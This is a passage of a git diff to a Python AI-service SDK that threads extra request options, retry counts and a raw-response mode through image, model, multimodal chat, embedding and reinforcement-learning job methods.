Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[Job, "APIResponse"]: + """Submit an image task; returns a PENDING/RUNNING Job. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + of the underlying submit call before any error check. + """ # The upload path is blocking (file post + getPolicy), so it runs in # a worker thread -- over a transport bridged back to this loop, # which is what lets it serve the policy fetch. @@ -642,6 +970,11 @@ async def create( timeout=timeout, api_key=api_key, workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, + raw=raw, ) return await self._synthesis.create( model=model, @@ -659,8 +992,14 @@ async def create( timeout=timeout, api_key=api_key, workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, + raw=raw, ) + @overload async def fetch( self, task_id: str, @@ -668,14 +1007,61 @@ async def fetch( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> Job: + ... + + @overload + async def fetch( + self, + task_id: str, + *, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + async def fetch( + self, + task_id: str, + *, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[Job, "APIResponse"]: + """Fetch one image task snapshot. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + of the underlying fetch call before any error check. + """ return await self._synthesis.fetch( task_id, timeout=timeout, api_key=api_key, workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, + raw=raw, ) + @overload async def cancel( self, task_id: str, @@ -683,15 +1069,61 @@ async def cancel( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> Job: - """Cancel a PENDING task (``POST /tasks/{task_id}/cancel``).""" + ... + + @overload + async def cancel( + self, + task_id: str, + *, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + async def cancel( + self, + task_id: str, + *, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[Job, "APIResponse"]: + """Cancel a PENDING task (``POST /tasks/{task_id}/cancel``). + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + of the underlying cancel call before any error check. + """ return await self._synthesis.cancel( task_id, timeout=timeout, api_key=api_key, workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, + raw=raw, ) + @overload async def list( # pylint: disable=redefined-builtin self, *, @@ -706,8 +1138,62 @@ async def list( # pylint: disable=redefined-builtin timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> JobList: - """List async tasks (``GET /tasks``).""" + ... + + @overload + async def list( # pylint: disable=redefined-builtin + self, + *, + start_time: Optional[str] = None, + end_time: Optional[str] = None, + model_name: Optional[str] = None, + api_key_id: Optional[str] = None, + region: Optional[str] = None, + status: Optional[str] = None, + page_no: int = 1, + page_size: int = 10, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + async def list( # pylint: disable=redefined-builtin + self, + *, + start_time: Optional[str] = None, + end_time: Optional[str] = None, + model_name: Optional[str] = None, + api_key_id: Optional[str] = None, + region: Optional[str] = None, + status: Optional[str] = None, + page_no: int = 1, + page_size: int = 10, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[JobList, "APIResponse"]: + """List async tasks (``GET /tasks``). + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + of the underlying list call before any error check. + """ return await self._synthesis.list( start_time=start_time, end_time=end_time, @@ -720,6 +1206,11 @@ async def list( # pylint: disable=redefined-builtin timeout=timeout, api_key=api_key, workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, + raw=raw, ) async def wait( @@ -731,6 +1222,10 @@ async def wait( timeout: float = DEFAULT_WAIT_TIMEOUT, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, _sleep: Optional[Callable[[float], Awaitable[None]]] = None, ) -> Job: return await self._synthesis.wait( @@ -740,6 +1235,10 @@ async def wait( timeout=timeout, api_key=api_key, workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, _sleep=_sleep, ) @@ -773,8 +1272,18 @@ async def generate( max_interval: float = DEFAULT_MAX_INTERVAL, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, ) -> Job: """See :meth:`Images.generate`.""" + options = request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ) if _uses_multimodal_protocol(model): # The upload path is blocking (file post + getPolicy), so it runs # in a worker thread -- over a transport bridged back to this @@ -811,6 +1320,7 @@ async def generate( sdk_module=MODULE, api_key=api_key, workspace=workspace, + options=options, ) check_response( response, @@ -841,6 +1351,10 @@ async def generate( timeout=submit_timeout, api_key=api_key, workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, ) return await self.jobs.wait( job, @@ -849,4 +1363,8 @@ async def generate( timeout=timeout, api_key=api_key, workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, ) diff --git a/dashscope/resources/models.py b/dashscope/resources/models.py index cd0cee8f..80f557a3 100644 --- a/dashscope/resources/models.py +++ b/dashscope/resources/models.py @@ -160,6 +160,7 @@ def list( extra_headers: Optional[Mapping[str, str]] = None, extra_query: Optional[Mapping[str, Any]] = None, extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, raw: Literal[False] = False, ) -> ModelList: ... @@ -177,6 +178,7 @@ def list( extra_headers: Optional[Mapping[str, str]] = None, extra_query: Optional[Mapping[str, Any]] = None, extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, raw: Literal[True], ) -> "APIResponse": ... @@ -193,6 +195,7 @@ def list( extra_headers: Optional[Mapping[str, str]] = None, extra_query: Optional[Mapping[str, Any]] = None, extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, raw: bool = False, ) -> Union[ModelList, "APIResponse"]: """List models; ``provider`` filters client-side per page. @@ -224,6 +227,7 @@ def list( extra_headers, extra_query, extra_body, + max_retries=max_retries, ), client=self._client, ) @@ -250,7 +254,10 @@ def list( extra_headers=extra_headers, extra_query=extra_query, extra_body=extra_body, + max_retries=max_retries, ), + requested_page_no=page_no, + requested_page_size=page_size, ) return with_headers(result, resp.http_response) @@ -265,6 +272,7 @@ def get( extra_headers: Optional[Mapping[str, str]] = None, extra_query: Optional[Mapping[str, Any]] = None, extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, raw: Literal[False] = False, ) -> Model: ... @@ -280,6 +288,7 @@ def get( extra_headers: Optional[Mapping[str, str]] = None, extra_query: Optional[Mapping[str, Any]] = None, extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, raw: Literal[True], ) -> "APIResponse": ... @@ -294,6 +303,7 @@ def get( extra_headers: Optional[Mapping[str, str]] = None, extra_query: Optional[Mapping[str, Any]] = None, extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, raw: bool = False, ) -> Union[Model, "APIResponse"]: # Server filters by model name via query params. @@ -309,6 +319,7 @@ def get( extra_headers, extra_query, extra_body, + max_retries=max_retries, ), client=self._client, ) @@ -365,6 +376,7 @@ async def list( extra_headers: Optional[Mapping[str, str]] = None, extra_query: Optional[Mapping[str, Any]] = None, extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, raw: Literal[False] = False, ) -> ModelList: ... @@ -382,6 +394,7 @@ async def list( extra_headers: Optional[Mapping[str, str]] = None, extra_query: Optional[Mapping[str, Any]] = None, extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, raw: Literal[True], ) -> "APIResponse": ... @@ -398,6 +411,7 @@ async def list( extra_headers: Optional[Mapping[str, str]] = None, extra_query: Optional[Mapping[str, Any]] = None, extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, raw: bool = False, ) -> Union[ModelList, "APIResponse"]: resp = await self._client.transport.request_api( @@ -412,6 +426,7 @@ async def list( extra_headers, extra_query, extra_body, + max_retries=max_retries, ), client=self._client, ) @@ -438,7 +453,10 @@ async def list( extra_headers=extra_headers, extra_query=extra_query, extra_body=extra_body, + max_retries=max_retries, ), + requested_page_no=page_no, + requested_page_size=page_size, ) return with_headers(result, resp.http_response) @@ -453,6 +471,7 @@ async def get( extra_headers: Optional[Mapping[str, str]] = None, extra_query: Optional[Mapping[str, Any]] = None, extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, raw: Literal[False] = False, ) -> Model: ... @@ -468,6 +487,7 @@ async def get( extra_headers: Optional[Mapping[str, str]] = None, extra_query: Optional[Mapping[str, Any]] = None, extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, raw: Literal[True], ) -> "APIResponse": ... @@ -482,6 +502,7 @@ async def get( extra_headers: Optional[Mapping[str, str]] = None, extra_query: Optional[Mapping[str, Any]] = None, extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, raw: bool = False, ) -> Union[Model, "APIResponse"]: # Server filters by model name via query params. @@ -497,6 +518,7 @@ async def get( extra_headers, extra_query, extra_body, + max_retries=max_retries, ), client=self._client, ) diff --git a/dashscope/resources/multimodal/chat.py b/dashscope/resources/multimodal/chat.py index c646019d..f6b08fa5 100644 --- a/dashscope/resources/multimodal/chat.py +++ b/dashscope/resources/multimodal/chat.py @@ -15,7 +15,16 @@ from __future__ import annotations -from typing import Any, Dict, List, Optional, Union, overload +from typing import ( + TYPE_CHECKING, + Any, + Dict, + List, + Mapping, + Optional, + Union, + overload, +) from typing_extensions import Literal @@ -27,9 +36,13 @@ _build_request, _send, ) +from dashscope.transport._options import request_options from dashscope.types.completions import ChatCompletion from dashscope.types.messages import MessageInput +if TYPE_CHECKING: + from dashscope.transport._response import APIResponse + __all__ = [ "AsyncMultimodalChat", "MultimodalChat", @@ -72,6 +85,11 @@ def create( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> ChatStream: ... @@ -107,9 +125,54 @@ def create( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> ChatCompletion: ... + @overload + def create( + self, + *, + model: str, + messages: Optional[Union[str, List[MessageInput]]] = None, + stream: Literal[False] = False, + tools: Optional[List[Dict[str, Any]]] = None, + temperature: Optional[float] = None, + top_p: Optional[float] = None, + max_tokens: Optional[int] = None, + stop: Union[str, List[str], None] = None, + seed: Optional[int] = None, + repetition_penalty: Optional[float] = None, + presence_penalty: Optional[float] = None, + enable_thinking: Optional[bool] = None, + response_format: Optional[Dict[str, Any]] = None, + top_k: Optional[int] = None, + tool_choice: Union[str, Dict[str, Any], None] = None, + n: Optional[int] = None, + logprobs: Optional[bool] = None, + top_logprobs: Optional[int] = None, + thinking_budget: Optional[int] = None, + enable_search: Optional[bool] = None, + search_options: Optional[Dict[str, Any]] = None, + parallel_tool_calls: Optional[bool] = None, + incremental_output: Optional[bool] = None, + parameters: Optional[Dict[str, Any]] = None, + extra_input: Optional[Dict[str, Any]] = None, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + def create( self, *, @@ -141,7 +204,21 @@ def create( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, - ) -> Union[ChatCompletion, ChatStream]: + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[ChatCompletion, ChatStream, "APIResponse"]: + """Run one multimodal-generation chat call. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. It is only + available with ``stream=False``: a streaming response body is never + materialized, so there is nothing to hand back. Combining the two + raises ``ValueError``. + """ built = _build_request( self._client, multimodal=True, @@ -184,6 +261,13 @@ def create( api_key=api_key, workspace=workspace, timeout=timeout, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), + raw=raw, ) @@ -223,6 +307,11 @@ async def create( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> AsyncChatStream: ... @@ -258,9 +347,54 @@ async def create( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> ChatCompletion: ... + @overload + async def create( + self, + *, + model: str, + messages: Optional[Union[str, List[MessageInput]]] = None, + stream: Literal[False] = False, + tools: Optional[List[Dict[str, Any]]] = None, + temperature: Optional[float] = None, + top_p: Optional[float] = None, + max_tokens: Optional[int] = None, + stop: Union[str, List[str], None] = None, + seed: Optional[int] = None, + repetition_penalty: Optional[float] = None, + presence_penalty: Optional[float] = None, + enable_thinking: Optional[bool] = None, + response_format: Optional[Dict[str, Any]] = None, + top_k: Optional[int] = None, + tool_choice: Union[str, Dict[str, Any], None] = None, + n: Optional[int] = None, + logprobs: Optional[bool] = None, + top_logprobs: Optional[int] = None, + thinking_budget: Optional[int] = None, + enable_search: Optional[bool] = None, + search_options: Optional[Dict[str, Any]] = None, + parallel_tool_calls: Optional[bool] = None, + incremental_output: Optional[bool] = None, + parameters: Optional[Dict[str, Any]] = None, + extra_input: Optional[Dict[str, Any]] = None, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + async def create( self, *, @@ -292,7 +426,21 @@ async def create( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, - ) -> Union[ChatCompletion, AsyncChatStream]: + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[ChatCompletion, AsyncChatStream, "APIResponse"]: + """Run one multimodal-generation chat call. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. It is only + available with ``stream=False``: a streaming response body is never + materialized, so there is nothing to hand back. Combining the two + raises ``ValueError``. + """ # The upload path is blocking (file post + getPolicy), so the whole # request build runs in a worker thread -- over a transport bridged # back to this loop, which is what lets it serve the policy fetch. @@ -339,4 +487,11 @@ async def create( api_key=api_key, workspace=workspace, timeout=timeout, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), + raw=raw, ) diff --git a/dashscope/resources/multimodal/embeddings.py b/dashscope/resources/multimodal/embeddings.py index b728f881..ca6bc6df 100644 --- a/dashscope/resources/multimodal/embeddings.py +++ b/dashscope/resources/multimodal/embeddings.py @@ -7,7 +7,7 @@ from __future__ import annotations -from typing import Any, Dict, List, Optional, Union +from typing import Any, Dict, List, Mapping, Optional, Union from pydantic import BaseModel, ConfigDict @@ -18,6 +18,7 @@ EmbeddingResponse, parse_embedding_response, ) +from dashscope.transport._options import request_options from dashscope.types.common import with_headers __all__ = [ @@ -135,6 +136,10 @@ def create( # pylint: disable=too-many-arguments timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, ) -> EmbeddingResponse: """Embed one item, or a list of them, into one vector space. @@ -175,6 +180,12 @@ def create( # pylint: disable=too-many-arguments timeout=timeout, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), ) check_response(response, raise_on_error=self._client.raise_on_error) return with_headers( @@ -207,6 +218,10 @@ async def create( # pylint: disable=too-many-arguments timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, ) -> EmbeddingResponse: contents = _contents(input) # The upload path is blocking (file post + getPolicy), so it runs in @@ -241,6 +256,12 @@ async def create( # pylint: disable=too-many-arguments timeout=timeout, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), ) check_response(response, raise_on_error=self._client.raise_on_error) return with_headers( diff --git a/dashscope/resources/reinforcement_learning.py b/dashscope/resources/reinforcement_learning.py index 35d9f3fd..8a3271c8 100644 --- a/dashscope/resources/reinforcement_learning.py +++ b/dashscope/resources/reinforcement_learning.py @@ -33,7 +33,16 @@ import asyncio import time -from typing import Any, Awaitable, Callable, Dict, List, Optional, Union +from typing import ( + Any, + Awaitable, + Callable, + Dict, + List, + Mapping, + Optional, + Union, +) from pydantic import BaseModel, ConfigDict @@ -62,6 +71,8 @@ _parse_logs, _parse_status, ) +from dashscope.transport._options import request_options +from dashscope.types._parse import parse_model from dashscope.types.common import JobStatus, with_headers __all__ = [ @@ -132,12 +143,17 @@ def _new_agentic_rl( return rl -def _to_job(result: Any) -> FineTune: +def _to_job(result: Any, *, strict: bool = False) -> FineTune: """Adapt the RL submit result into the v2 job model. The submit returns ``output`` as a nested object and spells the timestamps ``create_time`` / ``end_time``; the v2 model's aliases absorb both once the envelope is flattened by hand here. + + Takes ``strict`` but deliberately no ``response``: the workflow core + hands back a result object, not an ``httpx.Response``, so there is + nothing to attach. Strictness is a client contract rather than a + transport artifact, which is why it still travels. """ body: Dict[str, Any] = { "request_id": getattr(result, "request_id", None), @@ -148,7 +164,7 @@ def _to_job(result: Any) -> FineTune: output = getattr(result, "output", None) if output is not None: body.update(vars(output)) - return FineTune(**body) + return parse_model(FineTune, body, strict=strict) def _check_terminal(client, job: FineTune, job_id: str) -> FineTune: @@ -246,7 +262,10 @@ def create( kwargs["job_name"] = job_name rl.init(config_path=config_path, **kwargs) result = asyncio.run(rl.run()) - return _to_job(result) + return _to_job( + result, + strict=self._client.config.strict_validation, + ) def fetch( self, @@ -255,6 +274,10 @@ def fetch( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, ) -> FineTune: response = self._client.transport.request( "GET", @@ -263,9 +286,22 @@ def fetch( timeout=timeout, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), ) check_response(response, raise_on_error=self._client.raise_on_error) - return with_headers(_parse_job(response_json(response)), response) + return with_headers( + _parse_job( + response_json(response), + strict=self._client.config.strict_validation, + response=response, + ), + response, + ) def wait( self, @@ -276,6 +312,10 @@ def wait( timeout: float = DEFAULT_WAIT_TIMEOUT, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, _sleep: Optional[Callable[[float], Any]] = None, ) -> FineTune: """Poll until the job reaches a terminal status. @@ -291,7 +331,15 @@ def wait( current = ( job if isinstance(job, FineTune) - else self.fetch(job_id, api_key=api_key, workspace=workspace) + else self.fetch( + job_id, + api_key=api_key, + workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, + ) ) interval = poll_interval while not current.finished: @@ -308,7 +356,15 @@ def wait( ) sleep_fn(min(interval, remaining)) interval = min(interval * 2, max_interval) - current = self.fetch(job_id, api_key=api_key, workspace=workspace) + current = self.fetch( + job_id, + api_key=api_key, + workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, + ) return _check_terminal(self._client, current, job_id) def list( @@ -319,6 +375,10 @@ def list( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, ) -> FineTuneList: response = self._client.transport.request( "GET", @@ -328,9 +388,22 @@ def list( timeout=timeout, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), ) check_response(response, raise_on_error=self._client.raise_on_error) - return with_headers(_parse_list(response_json(response)), response) + return with_headers( + _parse_list( + response_json(response), + strict=self._client.config.strict_validation, + response=response, + ), + response, + ) def cancel( self, @@ -339,6 +412,10 @@ def cancel( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, ) -> JobStatus: response = self._client.transport.request( "POST", @@ -347,9 +424,22 @@ def cancel( timeout=timeout, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), ) check_response(response, raise_on_error=self._client.raise_on_error) - return with_headers(_parse_status(response_json(response)), response) + return with_headers( + _parse_status( + response_json(response), + strict=self._client.config.strict_validation, + response=response, + ), + response, + ) def delete( self, @@ -358,6 +448,10 @@ def delete( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, ) -> JobStatus: response = self._client.transport.request( "DELETE", @@ -366,9 +460,22 @@ def delete( timeout=timeout, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), ) check_response(response, raise_on_error=self._client.raise_on_error) - return with_headers(_parse_status(response_json(response)), response) + return with_headers( + _parse_status( + response_json(response), + strict=self._client.config.strict_validation, + response=response, + ), + response, + ) def logs( self, @@ -379,6 +486,10 @@ def logs( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, ) -> JobLogs: response = self._client.transport.request( "GET", @@ -389,10 +500,21 @@ def logs( timeout=timeout, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), ) check_response(response, raise_on_error=self._client.raise_on_error) return with_headers( - _parse_logs(job_id, response_json(response)), + _parse_logs( + job_id, + response_json(response), + strict=self._client.config.strict_validation, + response=response, + ), response, ) @@ -580,7 +702,10 @@ async def create( kwargs["job_name"] = job_name rl.init(config_path=config_path, **kwargs) result = await rl.run() - return _to_job(result) + return _to_job( + result, + strict=self._client.config.strict_validation, + ) async def fetch( self, @@ -589,6 +714,10 @@ async def fetch( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, ) -> FineTune: response = await self._client.transport.request( "GET", @@ -597,9 +726,22 @@ async def fetch( timeout=timeout, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), ) check_response(response, raise_on_error=self._client.raise_on_error) - return with_headers(_parse_job(response_json(response)), response) + return with_headers( + _parse_job( + response_json(response), + strict=self._client.config.strict_validation, + response=response, + ), + response, + ) async def wait( self, @@ -610,6 +752,10 @@ async def wait( timeout: float = DEFAULT_WAIT_TIMEOUT, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, _sleep: Optional[Callable[[float], Awaitable[None]]] = None, ) -> FineTune: """Poll until the job reaches a terminal status. @@ -625,7 +771,15 @@ async def wait( current = ( job if isinstance(job, FineTune) - else await self.fetch(job_id, api_key=api_key, workspace=workspace) + else await self.fetch( + job_id, + api_key=api_key, + workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, + ) ) interval = poll_interval while not current.finished: @@ -646,6 +800,10 @@ async def wait( job_id, api_key=api_key, workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, ) return _check_terminal(self._client, current, job_id) @@ -657,6 +815,10 @@ async def list( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, ) -> FineTuneList: response = await self._client.transport.request( "GET", @@ -666,9 +828,22 @@ async def list( timeout=timeout, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), ) check_response(response, raise_on_error=self._client.raise_on_error) - return with_headers(_parse_list(response_json(response)), response) + return with_headers( + _parse_list( + response_json(response), + strict=self._client.config.strict_validation, + response=response, + ), + response, + ) async def cancel( self, @@ -677,6 +852,10 @@ async def cancel( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, ) -> JobStatus: response = await self._client.transport.request( "POST", @@ -685,9 +864,22 @@ async def cancel( timeout=timeout, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), ) check_response(response, raise_on_error=self._client.raise_on_error) - return with_headers(_parse_status(response_json(response)), response) + return with_headers( + _parse_status( + response_json(response), + strict=self._client.config.strict_validation, + response=response, + 